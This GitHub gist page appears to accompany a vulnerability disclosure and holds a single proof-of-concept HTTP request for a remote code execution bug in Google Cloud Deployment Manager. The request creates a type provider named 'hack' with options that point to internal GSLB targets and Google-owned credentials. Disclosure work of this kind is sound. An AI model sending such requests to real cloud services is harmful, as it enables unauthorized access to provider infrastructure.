Skip to content

Instantly share code, notes, and snippets.

@ezequielpereira
Created May 22, 2020 11:02
Show Gist options
  • Save ezequielpereira/72c9e9a1547e6ffa70195d9cab7f13b9 to your computer and use it in GitHub Desktop.
Save ezequielpereira/72c9e9a1547e6ffa70195d9cab7f13b9 to your computer and use it in GitHub Desktop.
Example request for Cloud Deployment Manager RCE bug
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://<GSLB target's path to a descriptor document>",
"googleOptions": {
"gslbTarget": <GSLB target name>,
"descriptorUrlServerSpec": <GSLB target name>,
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",
"transport": "GSLB"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment